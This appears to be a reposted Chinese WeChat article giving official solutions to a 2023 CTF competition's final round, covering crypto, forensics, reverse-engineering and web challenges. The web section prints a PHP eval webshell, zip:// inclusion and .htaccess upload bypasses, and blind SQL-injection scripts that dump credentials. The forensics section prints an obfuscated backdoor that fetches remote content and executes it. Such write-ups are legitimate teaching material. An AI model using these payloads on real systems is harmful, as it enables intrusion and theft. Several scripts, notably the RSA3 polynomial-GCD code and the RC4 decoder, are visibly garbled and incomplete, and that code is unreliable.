点击上方蓝字关注我们
郑重说明
数字人才创研院秉承探究学习与交流知识的原则,所有发布的技术文章仅供参考,目的在于助力你获得更多知识;与此同时,让我们共同遵守《网络安全法》,未经授权请勿利用文章中的技术内容对任何计算机系统进行非授权操作,否则对他人或单位而造成的直接或间接后果或损失,均由使用者本人负责。
公众号发表的文章如有涉及您的侵权,烦请私信联系告知,我们会立即删除并对您表达最诚挚的歉意!感谢您的理解!
Purpose of recommendation
推荐观点
01
密码安全
回文
01
观察附件代码
`=QfzEDO4YDNlBzN4gzN0YGM1QzYyUGZ3QDZzgDM7V2Sn52bI52Q=` 结合题目回文,怀疑字符串正反有问题颠倒之后,去除=号(base64的填充) 解码即可得到flag。
RSA2
02
1.审计task.py ,题⽬使⽤的rsa加密,密钥⽣成过程⽐较特殊。可以观察到两点。第⼀,使⽤了crt来⽣成加密指数e是 rsa with crt-Exponent,其次⽣成的p和q差异较⼤。
2.构造矩阵,⽤sagemath运⾏该脚本,得到关键参数k和dq。
import gmpy2
import libnum
k = 603601239605461619719962824215850028370828276194986402520006784945171666555162381560306067089554862768237542295127706223128204911327713581268000464342787657534895446276895456449104343518846054862311913534953258511+1
dq = 1115967702502739
n = 24520888125100345615044288264230762903878924272518571342713995342063192899124989891699091460914318368533612522321639660343147487234147817765379565866063142022911783047710228071012334390251457138278189863078398353697056081286846816500611712981402958876560909958985941278622099006464269427107124576069124593580390423932176305639686809675964840679026457045269910781753881177055233058940084858058581167930068081780478893848660425039669034700316924547379360271738374641525963541506226468912132334624110432284070298157810487695608530792082901545749959813831607311669250447276755584806773237811351439714525063949561215550447
e = 11548167381567878954504039302995879760887384446160403678508673015926195316468675715911159300590761428446214638046840120602736300464514722774979925843178572277878822181099753174300465194145931556418080206026501299370963578262848611390583954955739032904548821443452579845787053497638128869038124506082956880448426261524733275521093477566421849134936014202472024600125629690903426235360356780817248587939756911284609010060687156927329496321413981116298392504514093379768896049697560475240887866765045884356249775891064190431436570827123388038801414013274666867432944085999838452709199063561463786334483612953109675470299
c = 7903942109284616971177039757063852086984176476936099228234294937286044560458869922921692962367056335407203285911162833729143727236259599183118544731181209893499971239166798975272362502847869401536913310597050934868114362409772188138668288760287305966467890063175096408668396691058313701210130473560756912616590509776003076415730640467731466851294845080825312579944440742910769345079740436037310725065646739277834041891837233390010487460412084089630786396822488869754420904734966722826157548254882580507819654527378643632759059506306290252851428488883937359516531613654502801727220504711666666550673928496325962262842
q = (e * dq + k - 1) // k
p = n // q
assert n == p * q
phi = (p-1) * (q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print libnum.n2s(m)
3.根据k和dq分解n,从⽽解密,获得flag。
RSA3
03
import logging
from functools import reduce
from Crypto.Util.number import *
def _polynomial_hgcd(ring, a0, a1):
assert a1.degree() < a0.degree()
if a1.degree() <= a0.degree() / 2:
return 1, 0, 0, 1
m = a0.degree() // 2
b0 = ring(a0.list()[m:])
b1 = ring(a1.list()[m:])
R01, R10, R11 = _polynomial_hgcd(ring, b0, b1)
d = R00 * a0 + R01 * a1
e = R10 * a0 + R11 * a1
if e.degree() < m:
return R00, R01, R10, R11
f = d.quo_rem(e)
g0 = ring(e.list()[m // 2:])
g1 = ring(f.list()[m // 2:])
S01, S10, S11 = _polynomial_hgcd(ring, g0, g1)
return S01 * R00 + (S00 - q * S01) * R10, S01 * R01 + (S00 - q * S01) * R11, S11 * R00 + (S10 - q * S11) * R10, S11 * R01 + (S10 - q * S11) * R11
def fast_polynomial_gcd(a0, a1):
assert a0.parent() == a1.parent()
if a0.degree() == a1.degree():
if a1 == 0:
return a0
a1 = a1, a0 % a1
elif a0.degree() < a1.degree():
a1 = a1, a0
assert a0.degree() > a1.degree()
ring = a0.parent()
while True:
{a0.degree()}, deg(a1) = {a1.degree()}") =
r = a0.quo_rem(a1)
if r == 0:
return a1.monic()
R01, R10, R11 = _polynomial_hgcd(ring, a0, a1)
b0 = R00 * a0 + R01 * a1
b1 = R10 * a0 + R11 * a1
if b1 == 0:
return b0.monic()
r = b0.quo_rem(b1)
if r == 0:
return b1.monic()
a0 = b1
a1 = r
n1 = 52579135273678950581073020233998071974221658902576724000130040488018033110534210901239397446395736563148970863970460542205225993317478251099451639165369081820130823165642873594136020122857712288395352930384057524510346112486008850200845915783772351449146183974239444691330777565342525218070680067550270554767
n2 = 68210568831848267339414957973218186686176324296418282565773310695862151827108036984694027795077376921170907068110296451176263520249799154781062517066423984526868547296781709439425857993705489037768605485740968600877866332458671029054092942851472208033494968784822459369206497698469167909174346042658361616469
c1 = 42941712708129054668823891960764339394032538100909746015733801598044118605733969558717842106784388091495719003761324737091667431446354282990525549196642753967283958283202592037329821712755519455155110675327321252333824912095517427885925854391047828862338332559137577789387455868761466777370476884779752953853
c2 = 62704043252861638895370674827559804184650708692227789532879941590038911799857232898692335429773480889624046167792573885125945511356456073688435911975161053231589019934427151230924004944847291434167067905803180207183209888082275583120633408232749119300200555327883719466349164062163459300518993952046873724005
e = 65537
Zmod(n2)[] =
f1 = x^e-c1
f2 = (n1-x)^e-c2
h = fast_polynomial_gcd(f1,f2)
m = long_to_bytes(int(-h[0]))
print(m)
02
数字取证
女儿的秘密
01
1、打开附件文件,看到一个数据文件,仔细观察数据结构后,使用reverse+from hex恢复出7z文件。
2、打开7z文件需要密码,结合提示,使用PasswareKitForensic暴力爆破6位数字,得到密码674344。
3、解压后看到女儿的照片.jpg,打开显示文件格式不对,用010分析后,确认为docx格式文件,修改扩展名,打开后,删除图片,全选文本,复制后找到一串编码。
6347467a637a7046636d6f31565739615a6e423456445133516d70775a7a68785a7a4659625531445331703553304a714d574a4b4d47393063337057576c427250513d3d
4、将转换为hex,并base64解码,得到:
pass:Erj5UoZfpxT47Bjpg8qg1XmMCKZyKBj1bJ0otszVZPk=
5、打开secret.txt文件,看到:
gAAAAABk2vY8KwxIv0n9XgVk8EPbQimR9iCqSX_crxcRSf-z2RV2rX2Ol1KHmbeAsxOyGR_i73vrl0FgLDCHHP9wWaXz37r5NmaWFXCwETQ2tYJM8vIFJVZ1Ptmtt2O7fXPQg6xA5-_dFOi-FYjF2RiqfXc39rbBLA==
6、典型的fermet加密,使用python脚本解码即可。
from cryptography.fernet import Fernet
f=Fernet(b'Erj5UoZfpxT47Bjpg8qg1XmMCKZyKBj1bJ0otszVZPk=')
miwen=b'gAAAAABk2vY8KwxIv0n9XgVk8EPbQimR9iCqSX_crxcRSf-z2RV2rX2Ol1KHmbeAsxOyGR_i73vrl0FgLDCHHP9wWaXz37r5NmaWFXCwETQ2tYJM8vIFJVZ1Ptmtt2O7fXPQg6xA5-_dFOi-FYjF2RiqfXc39rbBLA=='
mingwen=f.decrypt(miwen).decode()
print(mingwen)
##
here is your flag CnHongKe{*****************}
流量分析
02
1、打开流量包,简单看一下发现是apache的菜刀流量,在TCP数据流8中能发现线索。
2、解密之后发现是打包了一个www文件夹,通过tcp报9中 提取rar压缩包文件,发现为wordpress目录文件,将web目录导入D盾查杀,找到问题文件`wwwwp-contentpluginshello.php`,Hello.php中存在变异的shell。
if(empty($_SESSION['cfg'])) $_SESSION['cfg']=file_get_contents(hex2bin('687474703a2f2f3132372e302e302e312f77702d636f6e74656e742f7468656d65732f7477656e74797369787465656e2f6a732f75692e6a73'));
$arr=array(str_rot13(base64_decode($_SESSION['cfg'])),);
array_filter($arr,str_rot13(base64_decode('bmZmcmVn')));
3、解码得到另一个提示ui.js,打开是一串base64编码。
4、解码得到字符
5、继续解凯撒密码, 尝试rot13即可解码。
03
应用程序
FI4
01
1、使用ida打开题目附件可以直接定位到main函数,但是main函数内有几处花指令要去除。
2、部分ida版本在用nop去除花指令之后可能会出现main函数结束点定位错误,需要手工设置。
3、完成以上步骤就可以正常反编译。
反编译后main函数逻辑如下:
先判断输入开头是不是”flag{“,结尾是不是”}”,长度是不是38
将输入分别通过sub_401260和sub_4014A0处理。
将上述处理过的输入进行base64编码,码表是0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/
和目标串比较Bxit+cbNDaWA9+MwSeG6UkQXP+diV2nVIdjtJLX9BkU=,相同则提示输入正确。
先对sub_401260去除花指令。发现其逻辑类似如下python代码(假定text是函数入参):
text = text[16:] + text[:16]
p1 = "".join([chr(ord(text[i]) ^ (ord(text[i+16]) ^ ord(text[i])) & 1) for i in range(16)])
p2 = "".join([chr(ord(text[i+16]) ^ (ord(text[i]) ^ ord(text[i+16])) & 1) for i in range(16)])
text = p1 + p2
4、再对sub_4014A0进行分析,发现其为一个类似RC4的算法,和RC4唯一的不同点就是最后一步明文异或上流式密钥的过程改为加上流式密钥。综上可以写出如下解题python代码:
import base64
def rc4decrypt(text, key = 'default-key'):
key_len = len(key)
box = list(range(256))
j = 0
for i in range(256):#shuffle elements in S-box according to key
j = (j + box[i] + ord(key[i%key_len]))%256
box[i],box[j] = box[j],box[i]
i = j = 0
for idx in range(len(text)):
i = (i+1)%256
j = (j+box[i])%256
box[i],box[j] = box[j],box[i]
k = (text[idx] - box[(box[i]+box[j])%256])&0xff
result[idx]=k
p1 = "".join([chr(result[i] ^ (result[i+16] ^ result[i]) & 1) for i in range(16)])
p2 = "".join([chr(result[i+16] ^ (result[i] ^ result[i+16]) & 1) for i in range(16)])
return p2 + p1
base = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
newbase = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/='
decode = lambda x: "".join([base[newbase.index(c)] for c in x])
c4 = "Bxit+cbNDaWA9+MwSeG6UkQXP+diV2nVIdjtJLX9BkU="
c4 = decode(c4)
print(rc4decrypt(map(ord,base64.b64decode(c4)),'cnhk'))
babyrust
02
1、PE-x86_64,Rust
2、IDA 加载完毕后,strings 定位 Please input flag,交叉引用跳过去
3、往下翻几下,发现两个提示字符串,反编译看,结构很明了,前面是输入,主要判断在 sub_1400038D0,根据返回的结果显示正确与错误的提示,在call sub_1400038D0处下断。
4、动态调试,输入 abc123 回车后,进入断点,rcx就是输入的字符串结构,这里发现输入的没有什么变化,前面的就先不看了,直接跟进去。
5、跟进来后,第一段call就是判断长度的 [rex+10h],这里可确认要求输入的字符串长度为16。
6、继续分析,长度之后,比较前唯一用到 input [rsp+78h+var_20] 的就是 v3 = sub_7FF66CBB2B30(input) 了,末尾那个从程序结构上看可忽略,v3 唯一用到的地方就是最下面用于异或后进行比较的地方。
7、继续调试后,分析如下,输入的字符串的循环取字符与 1234567890ABCDEF 作异或运算,再用结果和 byte_7FF620CE27B8 (487D461F5444721B1A57132702303B67) 作比较。
8、按逆向结果处理得到 yOu+arE##gReAt~!
04
应用渗透
UUUpload
01
1、打开网站,发现有文件上传功能。
2、测试/index.php?url=upload 发现有文件包含调用,同时扫描发现了upload.php和upload.php.bak文件,判断文件包含限定了文件必须为php后辍名(其实是自动在参数后边加上.php的扩展名)。
3、下载upload.php.bak 获取到源代码,发现是白名单限制,仅允许上传扩展名为jpg的文件。
<div style="margin: 0 auto;margin-top: 100px; width: 500px;text-align: center;">
<form action="" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" class="btn btn-primary" value="提交" /></br></br>
只允许上传jpg头像!
</form>
<br/>
$type = array("jpg");
if(isset($_FILES['file'])){
$fileext = end(explode('.', $_FILES['file']['name']));
if(!in_array($fileext,$type)){
echo "<script>alert('该文件类型不允许上传!')</script>";
exit();
}else{
#/app/upload/pic_xxxx.jpg
$uploadpath = 'upload/';
$filename = 'pic_' . md5(time()) . '.' . $fileext;
$uploadfile = $uploadpath . $filename;
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
echo 'upload success.';
}
}else{
exit();
}
</div>
4、本地生成一句话木马a.php,内容为
eval($_POST['a']) @
压缩为zip格式,文件名a.zip,之后重命名为a.jpg,符合上传后辍。然后利用zip://伪协议进行包含。
5、上传a.jpg之后,文件路径可以知道是`#/app/upload/pic_xxxx.jpg` ,其中xxxx部分为`md5(time())`需要结合服务器返回的时间,生成对应md5值,组合生成如下路径,
如/app/upload/pic_eabb7f473a361c09089ed4ebcd552a02.jpg
6、打开蚁剑,URL路径如下:
http://xxx//index.php?url=zip:///app/upload/pic_eabb7f473a361c09089ed4ebcd552a02.jpg%23a,
密码为a或者url写为:
http://xxx/index.php?url=zip://upload/pic_eabb7f473a361c09089ed4ebcd552a02.jpg%23a ,密码为a均可得到webshell
7、成功连接到webshell,在根目录下拿到flag。
sql-upload
02
1、查看源码发现存在test/test用户,使用test/test进行登录,登录后只是显示了个性签名,但发现响应头如下
userinfo=eyJ1c2VybmFtZSI6InRlc3QiLCJwYXNzd29yZCI6InRlc3QifQ%3D%3D
2、解码后的结果如下:
{"username":"test","password":"test"}
3、尝试修改cookie进行注入
{"username":"test' and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=5-- ","password":"test"}
爆破得到表长度为5
依次爆破表名为users
{"username":"test' and (SELECT hex(substr(tbl_name,1,5)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0)=hex('users')-- ","password":"test"}`
4、尝试编写代码进行盲注
import requests,base64
url = 'http://IP/index.php'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "test' and substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}'-- ".format(i,chr(mid))
datas = {
"userinfo":base64.b64encode('{"username":"%s","password":"test"}'%(payload))
}
#print(datas)
res = requests.get(url=url,cookies=datas)
#print(res.text,res.status_code)
if "Welcome" in res.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
5、盲注读出表结构:
CREATE TABLE "users" (
"id" integer,
"username" TEXT,
"password" TEXT
)
6、尝试爆破用户名和密码
import requests,base64
url = 'http://192.168.60.224:8083/index.php'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "test' and substr((select hex(group_concat(username,password)) from users),{0},1)>'{1}'-- ".format(i,chr(mid))
datas = {
"userinfo":base64.b64encode('{"username":"%s","password":"test"}'%(payload))
}
#print(datas)
res = requests.get(url=url,cookies=datas)
#print(res.text,res.status_code)
if "Welcome" in res.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
print('n'+flag.decode('hex'))
7、得到zzadmin/phptxdy。进行登陆,查看页面原代码可发现关键代码:
$userdir = "images/".md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir);
}
if ($isadmin && isset($_POST["upload"])){
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
$extension = substr($name,strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)){
die("hacker go away!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("hacker go away!");
}
$this_file = fopen($tmp_name,"rb");
$bin = fread($this_file, 1);
fclose($this_file);
$str_into = @unpack("C1chars",$bin);
if($str_into["chars"]==0) {
die("hacker go away!");
}
$image_type = exif_imagetype($tmp_name);
if(!$image_type){
die("hacker go away!");
}
$upload_file_path = $userdir."/".$name;
move_uploaded_file($tmp_name, $upload_file_path);
}
8、首先文件名后缀中不能包括`ph`,所以php,php5,phtml等都会被拦截,其次文件中不能包括`<?`,因为观察响应头发现使用的php版本较高,也不再支持`<script language=php> </script> `。可以想到通过上传`.htaccess`设置`auto_append_file`绕过前两个限制。第三个限制使用`exif_imagetype`判断文件是否有合法的图片头,所以我们需要构造一个既是合法`.htaccess`又有合法图片头的文件。同时校验了第一个字节是否为0字节,过滤掉wbmp格式。
9、上传jpg文件
<?php eval($_POST[1]);`加密后为`PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==`,添加图片头`GIF89a`,因为base64解码是4个字符转换为3个字符,所以将加密内容前凑足8个字符,保证密文能正常解密,所以密文前添加GIF89aaa
10、于是构造.htaccess
AddType application/x-httpd-php .shell
php_value auto_append_file "php://filter/convert.base64-decode/resource=2.jpg"
11、查看php的`exif_imagetype`实现:
/* {{{ proto int exif_imagetype(string imagefile)
Get the type of an image */
PHP_FUNCTION(exif_imagetype)
{
char *imagefile;
size_t imagefile_len;
php_stream * stream;
int itype = 0;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "p", &imagefile, &imagefile_len) == FAILURE) {
return;
}
stream = php_stream_open_wrapper(imagefile, "rb", IGNORE_PATH|REPORT_ERRORS, NULL);
if (stream == NULL) {
RETURN_FALSE;
}
itype = php_getimagetype(stream, NULL);
php_stream_close(stream);
if (itype == IMAGE_FILETYPE_UNKNOWN) {
RETURN_FALSE;
} else {
ZVAL_LONG(return_value, itype);
}
}
12、访问1.shell此时已经自动加载并执行了解码后的2.jpg中内容, 即可getshell,密码为1。
Game
03
1、扫描存在.git目录
2、Githack 下载代码后,发现存在stash暂存的数据,可以提取出未提交的文件,找到重要文件。
3、经过仔细判断,网站存在反序列化。
往期推荐 · 值得阅看
漏洞复现|某友集团报表系统存在未授权访问+任意文件上传利用漏洞
2023-09-20
2023年HVV之POC&知识库总结
2023-08-29
XXE漏洞综合利用方法汇总
2023-07-14
PHPMyadmin的Getshell方法汇总
2023-07-01
END
原文始发于微信公众号(数字人才创研院):官方WP | 2023“领航杯”-高职组(决赛)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论